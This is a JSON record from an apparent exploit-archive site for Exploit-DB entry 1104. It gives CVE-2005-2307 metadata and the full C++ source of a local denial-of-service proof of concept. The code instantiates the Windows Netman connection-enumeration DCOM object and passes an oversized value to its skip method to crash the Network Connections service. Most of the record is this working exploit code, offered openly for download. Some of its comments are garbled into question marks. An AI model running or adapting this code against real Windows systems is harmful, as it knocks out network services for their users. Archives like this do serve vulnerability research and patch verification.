{"exploit":{"id":"EDB-1104","name":"Microsoft Windows - Netman Service Local Denial of Service (DoS)","description":"Microsoft Windows - Netman Service Local Denial of Service (DoS)","cves":["CVE-2005-2307"],"author":"bkbll","published":"2005-07-14","platform":"windows","type":"dos","language":"C++","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1104","path":"exploits/windows/dos/1104.cpp","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1104.cpp","vulnerabilities":[{"id":"CVE-2005-2307","state":"PUBLISHED","title":null,"titleSource":null,"description":"netman.dll in Microsoft Windows Connections Manager Library allows local users to cause a denial of service (Network Connections Service crash) via a large integer argument to a particular function, aka \"Network Connection Manager Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-2307","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-2307"},"updatedAt":"2024-08-07T22:22:48.891Z","retrievedAt":"2026-11-27T06:09:38.656Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1104.png?v=2","url":"https://exploitbin.com/exploits/EDB-1104","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1104/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1104/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* Windows Netman Service Local DOS Vulnerability.\n *\n * By bkbll bkbll#cnhonker.net 2005-7-14 2:49??\n *\n * TESTED ON win2k sp4\n *\n * ??Netman???svchost.exe -k netsvcs??, ????????,????????:\n *\n * EventSystem,Irmon,RasMan,NtmsSvc,SENS\n *\n */\n#define _WIN32_DCOM\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <objbase.h>\n#include <unknwn.h>\n#include <windows.h>\n\n#pragma comment(lib,\"ole32\")\n\nMIDL_INTERFACE(\"98133274-4B20-11D1-AB01-00805FC1270E\")\nVCConnectionManagerEnumConnection //: public IDispatch\n{\npublic:\n\tvirtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;\n\tvirtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;\n\tvirtual ULONG STDMETHODCALLTYPE Release( void) = 0;\n\tvirtual HRESULT STDMETHODCALLTYPE next(void) = 0;\n\tvirtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;\n\tvirtual HRESULT STDMETHODCALLTYPE reset(void) = 0;\n\tvirtual HRESULT STDMETHODCALLTYPE clone(void) = 0;\n};\nCLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1,{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};\nIID IID_IEnumNetConnection  = {0xC08956A0,0x1CD3,0x11D1,{0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};\n\n//???\nmain(int argc,char **argv)\n{\n\tVCConnectionManagerEnumConnection *clientcall;\n\tHRESULT hr;\n\n\tprintf(\"Windows Netman Service Local DOS Vulnerability..\\n\\n\");\n\t//???\n\tCoInitializeEx(NULL,COINIT_MULTITHREADED);\n\n\tprintf(\"DCOM Client Trying started\\n\");\n\thr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL,CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall);\n\tif (hr != S_OK)\n\t{\n\t\tprintf(\"CoCreateInstanceEx failed:%d\\n\",GetLastError());\n\t\treturn -1;\n\t}\n\tprintf(\"Exploit netman service ....\\n\");\n\thr = clientcall->skip(0x80000001);//(void**)&p);\n\tif(SUCCEEDED(hr))\n\t{\n\t\tprintf(\"Call client proc Success.\\n\");\n\t}\n\telse\n\t\tprintf(\"Call client proc failed:%d\\n\",GetLastError());\n\thr = clientcall->Release();\n\tCoUninitialize();\n\tprintf(\"Client exited.\\n\");\n\treturn 1;\n}\n\n// milw0rm.com [2005-07-14]","sha256":"eefa66497b053203c1890b21a87d6fd9e9002ea6d3584e4e95d937df4b614321","bytes":1942,"fetchedAt":"2026-11-27T06:09:34.470Z","encoding":"utf-8 (display only; download retains original bytes)"}